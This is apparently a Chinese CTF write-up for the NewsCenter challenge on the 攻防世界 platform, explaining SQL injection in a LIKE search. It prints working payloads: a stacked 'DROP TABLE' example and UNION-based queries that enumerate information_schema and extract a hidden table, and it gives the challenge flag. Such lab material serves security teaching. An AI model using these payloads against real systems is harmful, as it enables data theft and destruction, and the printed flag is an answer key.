模糊查询之SQL注入(攻防世界NewsCenter题解)
目录
前言
SQL
注入是由于开发人员编写程序不当,攻击者可以在开发人员编写好的SQL
语句的基础上,构造额外的SQL
语句,从而发生意外的错误。
例如,如果我们有一个根据id
查询的语句:
select * from test_table where id = test_id
使用高级语言编写语句:
String sql = "select * from test_table where id = " + test_id;
如果攻击者尝试将test_id
构造成
2;DROP TABLE test_table;
那么最终执行的SQL
语句为:
select * from test_table where id = 2;
DROP TABLE test_table;
当然你可能会说攻击者不知道表名,因此上面的很难构造出来。但是我想说的是如果存在SQL
注入风险的时候,攻击者获取表名的方式你难以想象得到。
题目背景
攻防世界NewsCenter
解题过程
打开场景后,发现是一个新闻页面,输入框中输入内容,然后进行模糊查询。
而模糊查询的一般语句为:
SELECT * from table where username like '%str%'
尝试输入%'
,发现后台报错,因此判定后台可以进行SQL
注入。
然后略加思考,flag
应该就藏在当前的数据库中?因此先数据库名;先输入%';SELECT DATABASE(); --
(中划线是将后面的SQL
语句处理成注释形式),发现并没有返回预期的结果,然后想了想,查询到的数据应该是有好几列,然后一行是一个新闻,将其渲染,再返回到浏览器,接着分析了一下,每个新闻都有标题和内容,查询应该至少有两列,再次尝试构造SQL
语句
%' UNION SELECT DATABASE(),DATABASE(); --
UNION
的意思是说将两个查询结果合并,可以执行的前提是两个查询有相同的列数,具体用法可以去网上查查。
发现还是报错,再次增加一列进行尝试:
%' UNION SELECT DATABASE(),DATABASE(), DATABASE(); --
果然在最后的新闻列表中出现了数据库名news
。
然后看看该数据库中都有哪些表:
aaaaaaaa%' UNION SELECT table_name,table_name,table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA='news'; --
aaaaaaaa
可以随便设置,最好是新闻中没有出现过的字符,这样子就方便获取我们想要的内容了。
然后发现有两张表,一个是news
,另一个是secret_table
!
然后看看第二张表的字段名:
aaaaa%' UNION SELECT COLUMN_NAME,COLUMN_NAME,COLUMN_NAME FROM information_schema.COLUMNS WHERE table_name = 'secret_table'; --
出现了一个fl4g
字段名,再继续查询
aaaaa%' UNION SELECT fl4g, fl4g, fl4g FROM secret_table; --
返回了QCTF{sq1_inJec7ion_ezzz}
。至此,本题答案水落石出
黑帽白帽,就在一念之间!
??
历史评论
开始评论